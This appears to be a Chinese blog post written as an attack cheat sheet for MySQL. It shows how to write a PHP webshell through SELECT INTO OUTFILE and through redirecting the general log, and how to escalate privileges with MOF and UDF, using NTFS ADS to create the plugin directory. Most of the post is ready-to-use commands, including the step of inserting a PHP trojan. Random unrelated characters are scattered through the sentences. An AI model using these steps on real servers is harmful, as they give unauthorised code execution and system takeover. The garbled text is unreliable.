?喜歡請點個贊吧?
mysql outfile導(dǎo)出webshell
條件：知道物理路徑灸蟆，root權(quán)限萄喳，同時mysql需要有write權(quán)限灾锯，secure_file_priv配置不為null吕朵，查看方法：
show global variables like '%secure_file_priv%';
這個參數(shù)只能通過修改配置文件后重啟mysql修改衅澈。
1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'
2.新建一個表键菱，創(chuàng)建一個空字段，在這個字段里插入php馬今布，再導(dǎo)出
直接導(dǎo)出需要開啟安全配置
secure_file_priv參數(shù)用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()（讀取文件）
mysql日志獲取webshell
查看：
SHOW?VARIABLES?LIKE?'%general%'
修改狀態(tài)：
set global general_log="ON";
修改儲存位置：
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';
寫馬：
select '<?php phpinfo(); ?>';
只需root權(quán)限即可
mof提權(quán)
MOF提權(quán)的條件要求十分嚴(yán)苛：
windows 03及以下版本
mysql啟動身份具有權(quán)限去讀寫c:/windows/system32/wbem/mof目錄
secure-file-priv參數(shù)不為null
udf提取
需要知道root賬戶的密碼经备，目標(biāo)系統(tǒng)windows
方法1：上傳moon.php等大馬拭抬，進行導(dǎo)出udf，moon.php同樣需要secure_file_priv
方法2: 同樣需要secure_file_priv
將udf文件放到指定位置（Mysql>5.1放在Mysql根目錄的lib\plugin文件夾下）
該文件夾默認(rèn)不存在侵蒙，可以用ntfs ads流來創(chuàng)建
select @@basedir找到mysql目錄
select 'It is dll' into dumpfile 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';生成目錄
從udf文件中引入自定義函數(shù)(user defined function)
執(zhí)行自定義函數(shù)
關(guān)閉安全模式方法
查看配置造虎，執(zhí)行mysql命令
SHOW VARIABLES LIKE "secure_file_priv";
如果value值為null，則為禁止蘑志，如果有文件夾目錄累奈，則只允許改目錄下文件（測試子目錄也不行），如果為空急但，則不限制目錄澎媒；
修改配置可修改mysql配置文件，查看是否有
secure_file_priv =
這樣一行內(nèi)容波桩，如果沒有戒努，則手動添加，
secure_file_priv = /home
表示限制為/home文件夾
secure_file_priv =
表示不限制目錄镐躲，等號一定要有储玫，否則mysql無法啟動
修改完配置文件后，重啟mysql生效
